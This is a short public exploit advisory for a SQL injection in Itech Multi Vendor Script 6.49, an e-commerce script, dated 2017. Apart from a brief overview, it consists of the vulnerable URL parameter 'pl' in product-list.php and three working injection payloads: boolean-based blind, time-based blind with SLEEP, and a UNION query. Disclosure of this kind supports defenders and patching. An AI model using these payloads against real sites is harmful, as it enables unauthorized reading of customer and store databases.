Itech Multi Vendor Script 6.49 SQL Injection

`Exploit Title: Itech Multi Vendor Script 6.49 a SQL Injection  
Date: 30.01.2017  
Vendor Homepage: http://itechscripts.com/  
Software Link: http://itechscripts.com/multi-vendor-shopping-script/  
Exploit Author: Kaan KAMIS  
Contact: iletisim[at]k2an[dot]com  
Website: http://k2an.com  
Category: Web Application Exploits  
  
Overview  
  
Multi Vendor Script v6.49 offers a robust eCommerce platform. The script has been designed to deliver all major features required to run an eCommerce website.  
  
Type of vulnerability:  
  
An SQL Injection vulnerability in Itech Multi Vendor Script 6.49 allows attackers to read  
arbitrary data from the database.  
  
Vulnerability:  
  
http://localhost/multi-vendor-shopping-script/product-list.php?pl=[payload]  
  
Parameter: #1* (URI)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=11201ff1de774005f8da13f42943881c655f' RLIKE (SELECT (CASE WHEN (6851=6851) THEN 0x313132303166663164653737343030356638646131336634323934333838316336353566 ELSE 0x28 END))-- HnQm  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=11201ff1de774005f8da13f42943881c655f' AND SLEEP(5)-- WHze  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 5 columns  
Payload: http://localhost/multi-vendor-shopping-script/product-list.php?pl=-3569' UNION ALL SELECT CONCAT(0x716b6a7871,0x7573485a716b767347544870695571415a465846434b5541777566416a6571656d6a5a6c62526f47,0x7170627171),NULL,NULL,NULL,NULL#  
  
`